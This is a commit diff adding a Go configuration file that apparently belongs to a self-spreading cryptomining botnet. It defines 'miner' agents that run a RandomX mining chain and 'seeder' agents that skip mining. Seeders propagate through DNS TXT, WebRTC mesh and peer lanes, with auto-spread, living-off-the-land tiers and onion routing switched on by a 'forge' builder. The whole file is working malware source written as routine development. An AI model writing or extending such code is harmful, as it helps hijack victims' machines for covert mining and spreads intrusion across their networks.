Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/config/fleet_role.go

@@ -0,0 +1,89 @@
+package config
+
+import "strings"
+
+const (
+	FleetRoleMiner  = "miner"
+	FleetRoleSeeder = "seeder"
+	FleetRoleAuto   = "auto"
+)
+
+// SeederSpreadLanes are the only staging lanes seeders may run (no RandomX).
+var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"}
+
+// NormalizeFleetRole coerces forge/auth values to miner|seeder|auto.
+func NormalizeFleetRole(role string) string {
+	switch strings.ToLower(strings.TrimSpace(role)) {
+	case FleetRoleSeeder:
+		return FleetRoleSeeder
+	case FleetRoleMiner:
+		return FleetRoleMiner
+	default:
+		return FleetRoleAuto
+	}
+}
+
+// EffectiveFleetRole resolves baked role + optional server hint from auth.
+func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string {
+	if c.SeederMode {
+		return FleetRoleSeeder
+	}
+	baked := NormalizeFleetRole(c.FleetRole)
+	if baked == FleetRoleSeeder {
+		return FleetRoleSeeder
+	}
+	if baked == FleetRoleMiner {
+		return FleetRoleMiner
+	}
+	hint := NormalizeFleetRole(serverHint)
+	if hint == FleetRoleSeeder || hint == FleetRoleMiner {
+		return hint
+	}
+	return FleetRoleMiner
+}
+
+// IsSeederRole reports whether this agent should skip mining and serve LAN staging only.
+func (c RuntimeConfig) IsSeederRole(serverHint string) bool {
+	return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder
+}
+
+// IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes.
+func IsSeederSpreadLane(lane string) bool {
+	lane = strings.ToLower(strings.TrimSpace(lane))
+	for _, s := range SeederSpreadLanes {
+		if lane == s {
+			return true
+		}
+	}
+	return false
+}
+
+// FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list.
+func FilterSeederLotlTiers(tiers []string) []string {
+	var out []string
+	for _, t := range tiers {
+		if IsSeederSpreadLane(t) {
+			out = append(out, t)
+		}
+	}
+	return out
+}
+
+// ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths.
+func ApplySeederForgeDefaults(b *BuiltinConfig) {
+	if b == nil {
+		return
+	}
+	b.FleetRole = FleetRoleSeeder
+	b.SeederMode = true
+	b.MiningDisabled = true
+	b.MinerExecution = "inprocess" // unused — no RandomX chain starts
+	b.GPUEnabled = false
+	b.DnsTxtSpread = true
+	b.WebRTCMeshSpread = true
+	b.WinRMSpread = false
+	b.WSUSCachePeerSpread = false
+	b.AutoSpread = true
+	b.LotlOnionEnabled = true
+	b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...)
+}